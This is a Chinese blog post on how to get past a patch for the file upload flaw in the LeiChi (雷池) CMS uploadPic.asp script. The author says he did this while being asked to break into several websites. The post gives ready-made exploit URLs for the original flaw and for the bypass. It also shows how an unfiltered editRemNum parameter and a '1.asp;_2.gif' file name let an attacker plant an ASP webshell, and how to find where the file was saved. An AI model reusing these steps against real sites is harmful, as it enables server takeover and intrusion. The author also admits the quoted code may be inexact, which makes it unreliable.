突破雷池上传漏洞补丁

某日一人叫我拿几个站发现都有打了补丁的雷池,后来偶然间看了看代码,遂有此文

以下是雷池上传的介绍

==========================================

假如雷池的上传文件uploadPic.asp在admin目录下即admin/uploadPic.asp

那么我们可以这样利用漏洞:

在浏览器中输入:http://www.xxxx.com/admin/uploadPic.asp?actionType=mod& picName=webshell.asp出现上传的地方.把我们的马改成以.gif结尾的文件,上传就可以得到一个名为webshell.asp的 webshell了!

注意,我们上传的webshell到底怎么知道上传在哪里去了呢?

我们可以这样来找,我们查看改网站发表的文章,这里我们可以看到加了图片的文章,我们右键图片,查看属性,就可以知道上传的木马在哪个目录了,我们的木马应该就是http://www.xxxx.com/admin/upload/webshell.asp


================================

打了补丁后似乎是过滤了%和.只类的符号,也就是说定义文件名是1.ASP时,返回文件名是1asp.gif


dim upload_code,remNum,remFileName,editImageNum,actionType,editRemNum  

upload_code = trim(Request.QueryString("upload_code"))  
editImageNum = trim(Request.QueryString("editImageNum"))  
actionType = trim(Request.QueryString("actionType"))  
picName = trim(Request.QueryString("picName"))  
editRemNum = trim(Request.QueryString("editRemNum"))  

if actionType= "mod" then  
   picName = Right(picName,InstrRev(picName,"/")-1)  
end if  

if upload_code = "ok" then  
'获取文章中的图片      
    dim upload,file,formName,formPath,iCount  
formPath="../uppic/"
.........  
    else      
       if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据   
          '生成图片名字  
          if actionType= "mod" then  
             remFileName = replace(Right(picName,len(picName)-InstrRev(picName,"/")),".","")&".gif"  
                  
          else  
             if editRemNum<>"" then                  
                remNum = editRemNum
             else  
                Randomize  
                remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)  
             end if  
             remFileName = remNum&"_"&(editImageNum+1)&".gif"  
          end if  
            
          file.SaveAs Server.mappath(formPath&remFileName)   ''保存文件   
   Response.Write(formPath&remFileName)  

可以看出editRemNum不为空时remFileName = remNum&"_"&(editImageNum+1)&".gif"
然而在接受参数时 但没有进行过滤 于是构造uploadPic.asp?actionType=od&editRemNum=1.asp;& upload_code=ok&editImageNum=1
得到一个名为1.asp;_2.gif的WEBSHELL

 

?文章内容,具体代码可能有小误差,没仔细看,有时间再修改,文章是直接ctrl+c,ctrl+v的,见谅?

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章